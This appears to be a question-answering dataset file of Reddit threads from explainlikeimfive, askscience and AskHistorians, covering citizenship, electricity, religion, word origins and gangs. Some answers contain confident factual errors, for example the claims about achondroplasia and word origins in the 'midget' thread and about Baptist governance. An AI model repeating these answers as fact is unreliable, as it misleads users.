{"q_id": "40r6ve", "title": "if a citizen of country a gets the citizenship of country b, does country b inform country a of the fact?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/40r6ve/eli5_if_a_citizen_of_country_a_gets_the/", "answers": {"a_id": ["cywgr7v", "cywivic"], "score": [24, 4], "text": ["Depends on the country.\n\nI know within the EU these things are communicated between member countries.\n\nSome countries have an \"exclusive\" policy, which means that when you acquire a different nationality, you have to renounce your other one. (Some exceptions apply in certain cases).\n\nFor example if a Dutch national were to apply for French nationality, he would (once accepted) have to renounce his Dutch nationality. \n\nThe French authorities will inform the Dutch that the person has now a French passport. \n\nSome nationalities can't be \"revoked/lost\", the French and UK are both like that. (If my memory serves me right).\n\nThis would mean that in the case above, a U.K. Citizen was to apply for French nationality, he would be allowed to keep his UK one, and thus have dual nationality. French authorities will still inform the UK about the acquisition.\n\nThings are probably very different if you were to apply in some small country in Africa or the Middle East.", "My 8 month old niece got her third passport on Monday. She is born in London, her mum is half English and half Norwegian, her dad is Australian. She already had British and Norwegian passports which she has traveled on. They have just gone to Australia for 6 weeks. They were told she could not get a visa in her British or Norwegian passport to enter Australia as she is an Australian citizen. So she has just got her Australian passport, and now has three passports; each for a different country, at 8 months!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "c0bb80", "title": "What is the theory that the complexity of a system is correlated to the amount of energy flowing through it?", "selftext": "I was listening to a history podcast, and the narrator described a theory that posited that the level of complexity is a system is proportional to the amount of energy flowing through it. In this context, I think he was describing early societies which collapsed after they lost access to resources. But, if I remember correctly, the theory applied to all types of systems, not just social systems. I'm intrigued by the idea, and want to read more about it, but I can't remember who the originator of the theory was, or even which podcast I was listening to.\n\nWho's theory is this? Where can I learn more about it?\n\nBTW, I chose \"mathematics\" for the flair of this post, but I don't really know what branch of science this theory belongs too.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/c0bb80/what_is_the_theory_that_the_complexity_of_a/", "answers": {"a_id": ["er3tkvv", "er3tz3d", "er6cxfd"], "score": [8, 8, 3], "text": ["Sounds like the starting point of what you might be looking for is [information theory](_URL_0_), which connects information, entropy, and energy.\n\nBecause changing information has associated minimum entropy changes, by thermodynamics there will also be energy changes in any physical system. I'm not aware of the names of the theories applying this principle to human societies.", "Not \"energy\" exactly, but [Information Theory](_URL_0_) makes similar kinds of claims. The core result of information theory is that any \"message\" has some minimum possible encoding that depends both on the content of the message and the environment in which the message is sent. This minimal encoding size might be interpreted as a measure of the fundamental complexity of a system, in the sense that two systems might appear complex, but if one of those two systems permits a much smaller encoding then it must be less fundamentally complex than the other. \n\nOne of the key characteristics of a message in information theory is the messages' *entropy*, which might be loosely defined as the maximum possible variability in the message. There is also the thermodynamic concept of entropy, and meaningful mappings can be made between the information theoretic concept and the thermodynamic concept, so this is probably where the connection between \"total energy\" and \"fundamental complexity\" comes into play.", "Hi there,\n\n & #x200B;\n\nI think you were listening to my podcast, Fall of Civilizations. The theory mentioned was proposed by the archaeologist Betty Meggers, and you can read a little more about it [here](_URL_1_).  The episode in which this was mentioned was [Episode 3, on the Mayan collapse](_URL_0_), in case anyone else is interested. Thanks for listening!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Information_theory"], ["https://en.wikipedia.org/wiki/Information_theory"], ["https://www.youtube.com/watch?v=SnFaRXeep5Y", "https://books.google.co.uk/books?id=DRt5RnlBTq0C&amp;lpg=PA37&amp;ots=8tjfiBDH9v&amp;dq=betty%20meggers%20thermodynamics&amp;pg=PA37#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "29apus", "title": "why does my dog start crying and walking around all over my house every time i give him a bone?", "selftext": "Someone help me. He is a cockapoo.  All I want is to make him happy", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29apus/eli5_why_does_my_dog_start_crying_and_walking/", "answers": {"a_id": ["cij2ypa", "cij301b", "cij3bkm", "cij40u6", "cij5yyg"], "score": [27, 2, 4, 4, 2], "text": [" > cockapoo\n\n\nThat is why. You have a breed known for being annoying yap traps. ", "Bones wake up something very primeval and visceral in dogs, my Mastiff gets super growly and protective and I have to make sure no one is in the yard when I take the shank out of the bag. At 235 pounds he can be very intimidating.", "Maybe your dog just isn't in the mood", "Would you be able to get some video of your dog doing this behavior?  It's almost impossible to say why just based on him crying and going about the house.  My guess is they're cries of excitement or possibly stress if he feels insecure about his bone.  Does he do this with anything else?\n\nFor instance, dogs will vocalize when happy and that manifests in whimpers, barks, yip, howls, etc (but not growls - there is an almost purr like noise some breeds emit like GSDs, though, that can be a happy sound.) All these things with the absence of physical cues can mean anything, however, and are not indicative of a happy dog.\n\nThe wandering coupled with crying could be insecurity.  He may feel a need to protect his bone and needs a place to hide it.\n\nOne thing you could try is a nyla bone.  They're incredibly durable (get the plastic-like ones, not the rubbery - typically bacon or chicken flavored) and last forever.  See if your cockapoo exhibits the same behavior when you keep giving him the same toy/treat.  Does he consistently store it somewhere or leave it about randomly?  It's just one thing to try and see what the cause might be.", "Get his teeth checked."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "8p4enc", "title": "How do you feel that historical strategy games like Europa Universalis and Civilization have impacted the public's understanding of history?", "selftext": "Games of this nature are lauded for their educational value, and their capacity to inspire interest in history among the general public is I think undeniable. However, these games also have a tendency to create or reinforce certain modes of thinking about history. What do you consider to have been the net impact of these games on the public's level of knowledge? When discussing history, is there a noticeable difference between the players of these games and people of other backgrounds in terms of how they approach historical questions?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/8p4enc/how_do_you_feel_that_historical_strategy_games/", "answers": {"a_id": ["e08te5a"], "score": [14], "text": ["We don't really have a lot of evidence on this front. They have been studied _a little_ by people trying to discern how valuable they are for teaching history (answer: maybe, but in the case I saw, a dissertation from a few years ago, it was a heavily modified version of Civ that required huge amounts of teacher integration that was studied), and the question of how valuable \"casual exposure\" sorts of things like this are (outside of anecdotes) on a larger scale. Much less how they build up, complement, conflict, etc., with people's models of history. (As an aside, the model of history in Civ is terrible, by historian's standards. [At least my standards, anyway](_URL_0_).)\n\nIn terms of conversations I have never really had anyone tell me who I've taught or otherwise interacted with in person that one of these games was important to their interest in history. Maybe it was, maybe it wasn't, but it's never come up. Whereas people tell me all the time that, say, playing _Fallout_ kindled a latent interest in nuclear weapons (even thought _Fallout_ is frankly a terrible model for them).\n\nIn terms of net impact, frankly I'd expect there to be very little. How much history are you going to get out of Civ? It's not historical at all. It's a \"model of history\" that has a few \"civilizations\" and \"leaders\" but neither of the latter are anything more than superficial, and while in many ways the Civ model of history is \"on rails\" (you have to develop X before Y and so on), it isn't actually pegged to any actual development. One could ask, I guess, how it changes people views of _technology_ \u2014 which is probably more apt. And again, in that case, I would worry that it changed it for the _worse_, that it gave people a linear, technologically-deterministic view of history, which historians today tend to think is wrong and misleading. But again, I don't see people actually invoking it \u2014\u00a0I've never had a conversation where someone said, \"well, you've got to develop mathematics before you develop currency\" (which is probably wrong anyway!). I suspect most people don't really internalize any of that stuff as \"real\" and not a game mechanic. \n\nBut again, I am just not sure that kind of impact has been studied. It would be nice if someone would study it \u2014\u00a0I'm interested in such topics. But I haven't seen anyone do it yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://alexwellerstein.com/publications/wellerstein_reviewciv6(endeavour\\).pdf"]]}
{"q_id": "vjamr", "title": "what is the \"fast and furious\" scandal and what do we know about it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/vjamr/eli5_what_is_the_fast_and_furious_scandal_and/", "answers": {"a_id": ["c54zu1y", "c55012k"], "score": [103, 6], "text": ["As far as I know the scandal involves a poorly run program by a law enforcement agency to allow guns to knowingly be sold to members of Mexican drug cartels or their surrogates in the United States and then the guns were allowed to go across the border into Mexico with the intention of catching the guns and purchasers in Mexico so then law enforcement officials could hopefully catch some of the higher up members of the Drug Cartels. This was apparently done without the authorization of the proper officials in the US Justice Department and dates back to sometime around 2008. The premise of the program was flawed and very few guns were recovered in Mexico as planned. As a result many of the guns that were bought illegally but with knowledge of American Law Enforcement was used in murders and other violence in Mexico ( the quantity of guns sold is in the hundreds if not thousands) as well as in the murder of a US Border Patrol Agent. The death of the Border Patrol Agent has created a backlash politically against the US Justice department within Congress. A Congressional Committee has been investigating the program and who knew what about it when and what exactly was going on with the program. The committee recently voted to hold the US Attorney General, America's chief law enforcement official, in contempt of congress for not providing subpoenaed documents to aid in the Committee's investigation. Turning over these documents would be improper according to the Justice Department for numerous reasons, some involve ongoing criminal investigations and prosecutions and others would endanger the lives of confidential informants and some involve internal deliberations of the Justice Department. The committee is run by Republicans and the President is a Democrat and there's an election this year so some of this is likely politics while there is undeniably some very serious malfeasance that needs to be investigated there has been finger pointing all around that politics are playing a heavy role in the scandal. \n\n*edit\nI should also mention that this last week the Committee (the Committee on Government Reform and Oversight for anyone who cares) called a hearing to decide whether or not Congress should hold a vote on whether the Attorney General Eric Holder acted in contempt of congress by withholding the subpoenaed documents from the Committee. The committee voted, along partisan lines, that the full House of Representatives should hold such a vote and now it is up to the Speaker of the House John Boehner to schedule the vote before the House. Given that Republicans control the House it is widely seen as very likely that the Attorney General will be held in contempt of congress. However just before the vote in committee was held the Executive Branch claimed Executive Privilege over the documents in question. Executive Privilege is a way to prevent sensitive internal deliberations within the Executive Branch from being exposed and generally creates controversy whenever it is invariably invoked by an administration. ", "[Colbert did a thing on it.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.colbertnation.com/the-colbert-report-videos/415620/june-20-2012/unraveling-the--fast---furious--scandal"]]}
{"q_id": "1i0m8s", "title": "baptist vs. methodist vs. lutheran vs. presbyterian, etc.", "selftext": "I mean besides the general \"Baptists tend to be more conservative\" thing. What are the actual official differences in beliefs? They seem pretty interchangeable.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1i0m8s/eli5_baptist_vs_methodist_vs_lutheran_vs/", "answers": {"a_id": ["cazunli", "cazy784", "cazzqhs", "cb04hnr", "cb063b4", "cb06nem"], "score": [110, 6, 11, 5, 12, 8], "text": ["Okay, short answer is : Doctrine.\n\nThere is a continuum for religious doctrine that runs roughly from Arminian to Reformed. This has to do with how they believe we react to God. Armenians believe we continually choose to go to heaven or hell, and can decide to be with God or to stray at any point. Reformed Calvianism is the other extreme, that God chose whom he will send to heaven and hell, and only died for certain people for his own reasons. There is an acronym for this called TULIP that details this doctrine\n\nMethodists are closer to arminian\n\nPresbyterians are closer to Reformed/Calvanism. They believe in infant baptism, (because God picked you anyway) Baptists are horrified by this because you didn't make the choice to turn from your sins and follow God via faith in his plan for salvation. \n\nBaptists are very broad doctrinally and are governed by the southern baptist convention, believing in baptism as a demonstration of salvation. They are relatively centrally located on the aforementioned continuum. evangelism is their focus, and they concentrate on spreading the gospel (the good news that Jesus died for your sins so you can go to heaven.\n\nLutheran is in line with the reactionary teachings of Martin Luther. All of these denominations believe you go to heaven by faith, not by what you do (i.e. baptism, obedience, communion), but the lutherans are focused on this; and an individual faith with God. as such, they lie in the middle territory overlapping much of the Baptist beliefs. Salvation is for all, which is contrary to TULIP presbyterians.\n\nOne branch is not necessarily more conservative than the other. United Methodists are VERY liberal, and primitive Baptists are weapons grade conservative, but and evangelical methodist is more conservative than an American Baptist Church\n\nConservative - >  believes the bible\n\nLiberal - >  Bible's a nice guideline, not necessarily all real or literal\n\n\nThe real difference you should know with protestants is evangelical vs. mainline\n\nEvangelicals (Some baptists, non-denominational) tend to be more theologically conservative, but less formal in church settings. they tend to have \"megachurches\" with rock bands and focus on spreading the gospel. These churches are maintaining numbers and even growing in some areas of the country, which you would expect since they are always telling people about Jesus.\n\nMainlines  (lutherans, methodists, presbyterians) tend to be more theologically liberal, but more stodgy in execution. they focus on church history, sing hymns and you'd rarely catch jeans in a Sunday service. They are dying demographically, as they are predominately old and white. They don't focus on outreach for spreading the word, but are often active in community service.", "Baptists profess a strong belief in priesthood of the believer - meaning, chiefly, that we are each accountable to God without an intermediary, and each of us may interpret our experience with God individually through the lenses of the Bible.\n\nPractically, however, few Popes ever dared speak or act with the authority that some Baptist pastors have spoken from their pulpits or espoused in their actions as church leaders.\n", "Can I even say this without being offensive? - If it's apparent that each denomination has changed the doctrine, how can any of it have merit? How can people not acknowledge this and say, \"Hey, wait a minute...\"?", "My friend is Pentecostal. They basically believe in speaking in tongues and faith based healing. Not something I believe in but I try to be respectful. ", "The difference between Baptist and Methodist is a Methodist will talk to you at the liquor store.", "Here's how it works when it comes to Methodists and baptists. \n\nDisclaimer: I grew up methodist.\n\nMethodists and Baptists differ on a lot structural details concerning Christianity. For starters, Methodist churches are typically part of a larger organization. Similar to the catholic church, pastors are assigned to congregations by higher ups. The congregation typically gets a sort of veto power, but in the end it means that the pastor you grew up with probably won't be the one you have later. In fact, they typically rotate every 4 years. It has it's benefits, but also it's downsides.\n\nBaptist churches are largely more independent. They choose their own pastors and it's essentially at will employment. There are Baptist organizations, but they are more for purpose of working together rather than governance. This is why there are different types of Baptists (Primative, Southern, Free Will, etc).\nI was baptized when I was 14 after going through confirmation, but it's fairly common for Methodists to baptize infants. Baptists believe only adults and teens may be baptized. Methodists also don't really care how you get Baptized, as long as it happens. Most do \"sprinkling\", but some do it other ways. I went to a baptism at a farm where it was done with a hose (because it was funny). Baptists can only do it via immersion, I think. Not entirely sure, but I know they are picky about it.\n\nAt the more spiritual level, Baptists believe that once you are saved, you are good to go. No matter what, you can't fall out of grace once saved. Methodists believe that you can fuck it up. If you get saved, but then go back to being a dickwad, you lose it. Typically, Methodist teachings revolve around actions speaking louder than words for this reason.\n\nIn the more general and public sense, Methodists are typically not very fundamentalist. My church invited a representative from Planned Parenthood to visit and talk to the youth group about safe sex and then the youth leader explained that it is important to remember that sex should be with someone you love (he emphasized he DID NOT imply marriage). There were gay youth leaders from other churches at the camp we went to (Lake Junaluska, NC). And typically, we were less concerned with the minutia.\n\nBaptist, TYPICALLY, are more fundamentalist. I'm sure there are exceptions, but I don't know of any.\nSo, there is your sorta biased response."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "8g3vl0", "title": "is there a limit to the \u201csound quality\u201d that our ears can hear? if so, will recordings ever reach that limit (or maybe even surpass it)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8g3vl0/eli5_is_there_a_limit_to_the_sound_quality_that/", "answers": {"a_id": ["dy8ma0g"], "score": [5], "text": ["We cannot hear sound above or below certain frequency limits. No matter how good the recording is at reproducing them, even if an electronic device can hear them, we cannot hear these notes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "26w136", "title": "What are the best scholarly sources for the Gilded Age and Progressive Era in US History?", "selftext": "I'm currently studying for comprehensive exams for my PhD and while I'm very comfortable with colonial America to the end of Reconstruction, the 20th century is not my forte, particularly the social and political aspects of the early 20th century outside of the context of American Civil Rights. Any suggestions regarding the best authors to read and the most current research in this era would be very helpful. Thanks! ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/26w136/what_are_the_best_scholarly_sources_for_the/", "answers": {"a_id": ["chv3khp"], "score": [3], "text": ["If you're studying for comps (good luck!) you'll probably want to check out the following books:\n\nRobert H. Wiebe, *The Search For Order, 1877-1920* (Hill and Wang, 1966).\n\nAlan Trachtenburg, *The Incorporation of America: Culture and Society in the Gilded Age* (Hill and Wang, 1982, 2007).\n\nHerbert Gutman, *Work, Culture and Society in Industrializing America* (Vintage, 1977).\n\nKathy Peiss, *Cheap Amusements: Working Women and Leisure in Turn-Of-The-Century New York* (Temple University Press, 1986).\n\nGlenda Gilmore, *Gender and Jim Crow: Women and the Politics of White Supremacy in North Carolina, 1896-1920* (UNC Press, 1996)\n\nMichael McGerr, *A Fierce Discontent: The Rise and Fall of the Progressive Movement in America, 1870-1920* (Oxford University Press, 2005).\n\nNell Painter, *Standing at Armageddon: A Grassroots History of the Progressive Era* (WW Norton, 1987, 2008).\n\nDaniel T. Rodgers, *Atlantic Crossings: Social Politics in a Progressive Age* (Belknap, 2000).\n\nTo be sure, not all of these books constitute the most current research on the Gilded Age and Progressive Era - you will see that some of them are quite old. But they are generally books you should probably be familiar with (although your examiners, of course, will have the final say). I also recommend that you get yourself a copy of [*American History Now*](_URL_0_) if you haven't already. It's a volume of historiographical essays that saved my bacon when I took my comps, and it contains a great section on the Gilded Age/Progressive Era."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/American-History-Now-Critical-Perspectives/dp/1439902445"]]}
{"q_id": "263am1", "title": "why is the term \"midget\" more offensive than \"little people\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/263am1/eli5_why_is_the_term_midget_more_offensive_than/", "answers": {"a_id": ["chn8wzp", "chn90xe"], "score": [6, 24], "text": ["The term \"midget\" became popularized in the 1900's, at a time when many little people were being exploited as carnival sideshow attractions.  This, in turn, was a name projected onto little people by the people oppressing them.  Therefore, it has a pejorative meaning... Much like racial slurs (spic, pollock, etc.)", "Midget, as a term, originates from midge, which are those tiny annoying flies that everyone hates. Gnats and fruit flies are often lumped in with midges, it's sort of just a general term for \"tiny annoying pest.\" So, it really shouldn't be surprising that they find the term offensive, considering its origin.\n\nIn the technical sense, for the most part, people who we call \"midgets\" have a disorder called \"achondroplasia,\" which manifests in various forms. Some people with achondroplasia are what we would call \"dwarves,\" and others are of relatively normal height but have other issues (some lack one of their calf bones, for instance). Peter Dinklage (Tyrion from GoT) and Verne Troyer (Mini-Me from Austin Powers) have achondroplasia.\n\nOther little people are perfectly normal in every other respect, they're just abnormally short. \n\nThe point is that we came up with a term, \"midgets,\" which was derived directly from \"annoying tiny little thing,\" and started calling a group of people who have a genetic disorder \"annoying tiny little things,\" ie \"midgets.\"\n\nIt's not like the n-word, it's actually sort of *worse.* The n-word was just how people with Southern drawls pronounced \"negro,\" whereas \"midget\" was a very intentional insult. If you know the history of the term (which most little people probably do), you can see why they'd find it offensive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ywz07", "title": "why aren't electrical prongs hot when they're removed from an outlet?", "selftext": "If high amounts of energy are being conducted through these prongs, shouldn't prongs be glowing hot when they're removed?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ywz07/eli5_why_arent_electrical_prongs_hot_when_theyre/", "answers": {"a_id": ["cpdp6jb", "cpdpe4n", "cpdsulc", "cpe1bv2", "cpedbiz"], "score": [224, 7, 2, 3, 3], "text": ["Heating occurs when there's a significant amount of resistance.\n\nSignificant resistance can occur if the material you're using is a poor conductor, or if you're using a conductor that's physically too small.\n\nIn the case of the prongs of a plug, they're both made of metal (good conductor) and fairly large in size. Therefore, there's no major resistance, and they don't heat up noticably.", "No, it's due to resistance, and resistance is a function of the materials used and the distance covered.\n\nHigh amounts of energy can be transmitted with little heat generated so long as there is a low resistance. \n\nIn the case of AC prongs on a power cord plugged into an outlet, the prongs are actually one of the lowest resistance parts of the system. Relatively small wires are used in the wall covering a long distance. Same goes for the wire from the plug to the device. Within the device is where most of the resistance is, and where most of the heat is generated.\n\nThe relatively short and thick prongs means that the resistance within them is negligible. Even if a large amount of current is going through, the prongs stay cool (they do heat up, but not by much). \n\nIn most cases, the cable itself will heat up more than the prongs, especially over long distances. Anyone who has used power tools on an extension cord will tell you it certainly warms up after being used.\n\nMaterials like Tungsten, used in lightbulbs and heaters (like a toaster or blow drier) have relatively high resistance. Combined with a very thin and long filament (they're almost always \"kinked\" or \"looped\" to make it longer), this is why they heat up so substantially.", "Power =V*I\n\nso the power lost on the plugs would be the voltage hm, i got to be ver careful how i word it.  not the 120 volts, but the voltage from one prong at the tip of the prong to the same prog but the part that connects to the rest of the plug,\n\nusualy this is some copper coated metal.  copper has such a low resistance that the voltage at one end vs the other is 0.  \n\nso P=0*0=0  so no power loss on the prongs, \n\ndon't get me wrong i rounded to zero :) and do not tell my teacher that.  \n\nif i plug in my 1500 watt air popper for popcorn after 3 mins the cord gets noticeably warm, ", "The heating doesn't depend on the amount of energy going *through* the prongs, but the amount being *wasted* in the prongs.\n\nThis is the current through the prong, squared, times the resistance of the prong (for each prong). And the resistance is a very small amount.", "It's simple:  all of the energy travels *outside* of the metal.\n\nThe electrical energy traveling along a power cord is entirely composed of magnetic fields and electric fields.   These invisible fields are in the space around the wire, not inside.    Here's a crude picture:\n\n* [Field-energy flowing from battery to resistor](_URL_0_)\n\nUnfortunately this subject is one of those \"lies to children,\" where we learn the wrong stuff in grade school, and later we only hear the correct version if we go into science or engineering as a career.   \n\nWere you taught that electrons are the electrical energy, and they travel *inside* wires at the speed of light?   I was.   Most of us were.   It's in most kid's books, and even in Magic Schoolbus videos.  But it's totally wrong.   Electric circuits don't work anything like that.    Instead, the electrons sit in place and wiggle back and forth a bit, while the electrical energy zooms along *outside* the wires.    Because of this, it's possible to send a huge amount of energy across very, very thin wires, and in theory, the wires don't have to heat up at all.\n\nGoing further...   when some electrical energy flows along wires, either it can be composed of strong magnetism with weak voltage.   Or it can be weak magnetism with strong voltage.[*]   Yet the amount of flowing energy is exactly the same in both cases.    What does this prove?   It means that the magnetism alone, and the flowing electrons which create it, is not a flow of electrical energy.    Neither is invisible \"e-field\" or voltage alone, a flow of electrical energy.   The flowing energy isn't down inside the wires where the current exists.   Neither is it on the surface of wires, where excess charge is creating the voltage.   Instead, the energy is exactly the same as electromagnetic waves.   The wires guide it along.    Yet the wires need not be heated, since the heating is caused by electron motion  ...and electrical energy can take the form of very high voltage at almost no current.\n\nA similar question: how can we run an entire city, about a megawatt of energy flow, by sending the energy along some metal cables about a half inch thick?    Why doesn't all that energy just vaporize the cables?    It's because the megawatt is in the air around the cables, and not concentrated down inside.    Go stand under a big 3-phase transmission line at night, and hold up a fluorescent tube.    It lights up dimly.    You're sticking it into the megawatt flow that's zooming along on its way to the distant city.\n\n\n[*] the same wattage can take the form of low current at high volts, or it can be high current at low volts.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://amasci.com/elect/poynt/voltagef.gif"]]}
{"q_id": "1f56rs", "title": "How long did the Wizard of Oz stay in theaters?", "selftext": "Would a child in 1944 have been able to see it more recently than five years earlier?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1f56rs/how_long_did_the_wizard_of_oz_stay_in_theaters/", "answers": {"a_id": ["ca6xrdy"], "score": [3], "text": ["That depends on where this hypothetical child was living at the time.\n\nThe original test-market premieres were August 11, 1939 in Kenosha, Wisconsin and Cape Cod, Massachusetts and August 12 in Oconomowoc, Wisconsin.  This was followed by early limited runs in Hollywood (August 15) and New York City (August 17) before its USA nationwide release on August 25, 1939.  Original international releases started in late '39 and continued through 1940.\n\nPresuming that the child in question was living in the United States he/she would get other chances to see re-releases on the big screen in the summers of 1949 and 1955.\n\n[All the various release dates can be found on IMDB](_URL_0_)\n\nEDIT:  It is possible but unlikely that a child in the USA could have seen it between its original run and re-release.  The original run barely earned back the production cost and was not yet the indispensable classic that it is today.  The Great Depression was still on and Gone With The Wind was dominating the box offices like no other film before.  Most likely the child in question would have to wait until 1949."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.imdb.com/title/tt0032138/releaseinfo?ref_=tt_dt_dt"]]}
{"q_id": "1nsb2o", "title": "why is my bagel so hot coming out of the toaster, compared to normal bread?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1nsb2o/eli5_why_is_my_bagel_so_hot_coming_out_of_the/", "answers": {"a_id": ["ccljcr8", "cclshs9"], "score": [32, 2], "text": ["A bagel is more dense compared to most breads.  If you touch the outer surface, you're pretty much entirely touching solid material.  Solids transfer heat much faster than gasses, so you'll feel the effects of it's temperature a lot faster.  Bread is very porous so when you touch it you're touching a lot more gas compared to solid material: slower heat transfer.", "Density is probably the biggest factor."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "176ofp", "title": "How much energy does a transformer consume when the second winding is left open? ", "selftext": "When you hook up a transformer on the electrical network there passes an AC current through the first coil which induces a voltage in the second coil. \nIf this second coil is not connected to anything, can this be viewed as a circuit with an impedance of infinity, resulting in no energy consumed or does the alternating of the voltage on the two coil endings require energy? \n\npractical example: I leave my phone charger plugged in, does this consume a noticable amount of energy? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/176ofp/how_much_energy_does_a_transformer_consume_when/", "answers": {"a_id": ["c82pn6o"], "score": [10], "text": ["With the second coil open you don't have a closed circuit so no current, so no power lossi n the secondary.\nThe first coil however IS a closed circuit and there is current flowing.\nThere are small losses of energy due to the (small) resistance of the wiring and the core of the transformer.\nBut your phone charger is NOT a transformer. Its a  switch mode power supply with charging circuits. There should be a high frequency transformer inside this also. The losses are negligible. I leave the charger plugged also."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "8cx5vs", "title": "how did japan find its huge trove of rare earth metals on minami-torishima?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8cx5vs/eli5_how_did_japan_find_its_huge_trove_of_rare/", "answers": {"a_id": ["dxinlwe"], "score": [9], "text": ["Despite the name, rare earth metals aren't particularly rare.  You can take some random dirt and test it, and it will probably have some rare earth metals in it.  On the other hand, it's going to be in absolutely minuscule amounts.  Even in areas with high concentrations, rare earth mining has to be done by harvesting absolutely massive amounts of material, and processing it to extract the small amount of useful metals.\n\nIt sounds like they located this particular type of mud based on research around thermal vents on the ocean floor.  At least, that's what some quick reading on my part suggests.  Based on that research, it sounds like they looked at several likely sites to find deposits, and they got lucky around this island."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3mu6xk", "title": "why aren't gangs dealt with as domestic terrorists?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3mu6xk/eli5_why_arent_gangs_dealt_with_as_domestic/", "answers": {"a_id": ["cvi3r8i", "cvi6pb2", "cviewb1", "cvihriw"], "score": [47, 11, 5, 2], "text": ["Terrorism - the use of violence and intimidation in the pursuit of political aims.\n\nGangs' aims generally involve profit, not political power. They are treated as criminal organizations, not terrorist organizations, because that's what they are.", "The problem you seem to be having is, we've thrown the word terrorist around so much we forget that the word has a pretty defined meaning. \n\nTerrorism is, for better or worse, a military tactic. It is the use of violence and intimidation for a movement against a political/social opponent. There is typically an end game. Terrorist NGOs (non governmental organization) are typically fighting an asymmetric war and have to rely on terrorism and subterfuge because they lack the resources of a more conventional war. This is as old as human history and can be seen from the Vietcong fighters for North Vietnam during, well, you can guess the war, to the early battles in the American revolution, to the first person who realized putting a head on stick would intimidate somebody. \n\nDomestic terrorist have an agenda. They have manifestos and a cause to die for. Ted, uni-bomber, Kaczynski famously refused the insanity plea because it would delegitimize the politics behind his cause.\n\nGangs are substantially different. If it helps, replace the word \"gang\" with mafia. In a very real way, gang, mafia, cartel etc... can all be used interchangeably. These are groups that operate like a business and use violence to continue operating as a business and to expand their share of a market. Because these groups operate in black market economies, there is no external regulation (if somebody steals your crack you can't go to the police and press charges let alone if your illegal weapons shipment gets hijacked) and as such there is no law in how they deal with each other. Some industries (the more powerful) work civilly, with street gangs operating as foot level employees for a greater operation.\n\n In fact, gangs/mobs/bikers hate wars between each other because it's bad for business. For the Italian mafia, there is a lot of internal regulation to prevent internal fighting, but that doesn't mean there aren't proxy gang wars with lower operatives. \n\nThe biggest distinction is this: \nTerrorism is war which fails to meet the agreed upon standards of warfare. Its going outside the Geneva convention, it's using mustard gas when all \"civilized\" countries say its bad. What makes a terrorist is subjective to what everybody agrees to as the laws of warfare. \n\nGangs violence is the result of total, unregulated, capitalism. Not to badmouth capitalism (I am a capitalist) but when you take away all regulation and have businesses that have no obligation to follow law (remember their business exists outside of the law) all is fair in how their market organizes itself. If you want to go to your competitor and shoot them in the head, the only consequence you face is in industry. \n\nTL:DR War is hell and a libertarian utopia is closer to Somalia that Galts Gulch. ", "Be careful what you wish for, you might get it.\n\nOver and over again in history, states have enacted harsh, fascist laws and procedures to deal with \"Those People,\" who are seen as an existential threat to the state. And a certain percentage of the population supports this, because, you know, fuck Those People. Anyway, the government assures us that the abuse of rights will ONLY be used on Those People.\n\nExcept that's never the way it happens. Pretty soon, we have to extend the abuse to supporters and enablers of Those People. And hey, ya know what? Aren't the protesters who are demanding the government cease this abuse really just enabling Those People? Sure they are. Come to think of it, if you oppose the government, you MUST support the government's enemies. QED.\n\nSo the fascism spreads. Eventually, the state finds that these laws are so useful in maintaining control that they just start using them for routine purposes. And then one night, you--one of the big, early supporters of the abuse--are awakened at 2 in the morning by the secret police breaking down your door. As they drag you away by your heels, never to be seen again, you sputter, \"but...but...I'm a loyal party member!\" And THAT's always a hoot to see.\n\nOur Glorious War on Terror has been characterized by torture, death squads, shooting first and determining enemy status later, large-scale violations of human rights, violations of treaties and both US and international law. You want THIS in your hometown?\n\nIn 2011, the President of the US claimed the authority by fiat to order the extra-judicial murder of a US citizen on secret evidence of being an enemy of the state. But hey, don't worry, they will *only* ever use that on Those People...and you're not one of Those People, are you? ARE YOU?", "El Salvador recently declared its gangs to be terrorists. The line can be a fuzzy one. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
